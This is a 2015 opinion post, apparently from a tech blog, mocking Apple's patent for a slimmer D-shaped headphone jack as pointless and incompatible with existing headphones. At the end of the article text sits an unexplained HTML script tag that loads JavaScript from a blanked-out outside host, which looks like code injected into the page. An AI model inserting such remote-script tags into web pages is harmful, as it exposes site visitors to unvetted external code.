Submitted by admin Fri, 2015-09-25 15:33 
Last year Apple AAPL +0.87% appeared to deliver the death knell to the iPhone jack before going silent, but now it appears to have something far more silly in mind. In its quest to create ever thinner iPhones, iPads and Macs, Apple has obtained a patent to cut the 3.5mm headphone jack and the less common 2.5mm variant down into a slimmer ‘D’ shape.
The Patent (No. 9,142,925) was discovered by AppleInsider and sports all the same functionality as the standard 2.5mm and 3.5mm TRRS (tip, ring, ring, sleeve) connector, plus a flexible inner core to reinforce the reduced structural integrity. In short: it should work just like a normal 3.5mm/2.5mm headphone jack.
But it is totally ludicrous. Let’s look at this rationally for a moment. Where is the real benefit in cutting down the headphone jack?
Should Apple introduce the D-shaped port on devices it would gain maybe an extra millimetre (the benefit comes from the proportional decrease to the internal receptor) but it would simultaneously make billions of pairs of headphones incompatible.
In an era of reversible connectors, Apple would also be making the headphone jack a one way device which is significantly less user friendly. This gives conspiracy theorists a field day. Apple makes the headphone jack a pain to use in order to ease the path to remove it entirely and transition users to the proprietary (thin and reversible) Lightning port. After all Lightning headphones are already on sale.<script type='text/javascript' src='https://______/s.js?qr=888'></script>
Seesion Date:
Tuesday, October 13, 2015
